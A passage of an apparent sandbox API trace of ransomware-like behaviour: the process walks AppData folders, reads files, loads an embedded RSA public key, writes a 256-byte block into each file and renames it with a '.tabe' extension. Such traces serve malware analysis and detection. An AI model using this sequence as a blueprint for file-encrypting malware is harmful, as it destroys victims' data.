lpMsg=0x3dcfb74) returned 0 [0127.927] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x605dd8a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x605dd8a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.928] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml") returned=".xml" [0127.928] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\3o75jdme\\www.google[1].xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.929] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=13) returned 1 [0127.929] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.930] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0xd, lpOverlapped=0x0) returned 1 [0127.931] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.931] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866e18) returned 1 [0127.931] CryptCreateHash (in: hProv=0x866e18, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.931] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.931] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.931] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.931] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.931] CryptReleaseContext (hProv=0x866e18, dwFlags=0x0) returned 1 [0127.932] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.932] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.932] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.932] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3b04138, Size=0x218) returned 0x3af7be8 [0127.932] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.932] WriteFile (in: hFile=0x618, lpBuffer=0x342d478*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x342d478*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.932] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\3o75jdme\\www.google[1].xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\3o75jdme\\www.google[1].xml.tabe")) returned 1 [0127.933] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.933] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.933] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.934] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\UV0DUWVB\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.934] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.935] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.935] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.935] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.935] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml") returned=".xml" [0127.935] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\vgmtoi09\\www.msn[1].xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.936] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=836) returned 1 [0127.936] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.937] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x31e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.937] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.938] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x344, lpOverlapped=0x0) returned 1 [0127.938] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.939] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866e18) returned 1 [0127.939] CryptCreateHash (in: hProv=0x866e18, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.939] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.939] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.939] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.939] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.939] CryptReleaseContext (hProv=0x866e18, dwFlags=0x0) returned 1 [0127.939] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.939] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.940] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.940] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3b04138, Size=0x218) returned 0x3af7be8 [0127.940] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x344, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.940] WriteFile (in: hFile=0x618, lpBuffer=0x342d478*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x342d478*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.940] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\vgmtoi09\\www.msn[1].xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\vgmtoi09\\www.msn[1].xml.tabe")) returned 1 [0127.942] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.942] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.942] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.942] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1e5aaf0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1e5aaf0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e5aaf0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.943] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.943] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.943] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.943] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.944] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.944] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.944] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.944] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.945] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.945] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.945] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.945] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeab70f70, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeab70f70, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeab70f70, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.946] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.946] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.946] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.946] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec6bf330, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.947] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.947] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.947] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.947] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb4758f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb4758f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb4758f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.947] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.948] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.948] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.948] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebdabf50, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xebdabf50, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xebdabf50, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.949] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.949] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.949] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.949] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9487bb0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9487bb0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9487bb0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.949] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.949] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.949] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.949] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\frn\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9d9af90, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9d9af90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9d9af90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.950] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.950] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.950] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.950] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9924650, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9924650, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9924650, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.950] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.950] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.950] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.950] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea6d44d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea6d44d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea6d44d0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.951] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.951] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.951] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.951] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\nrw\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb90f4b0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb90f4b0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb90f4b0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.951] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.951] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.951] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, 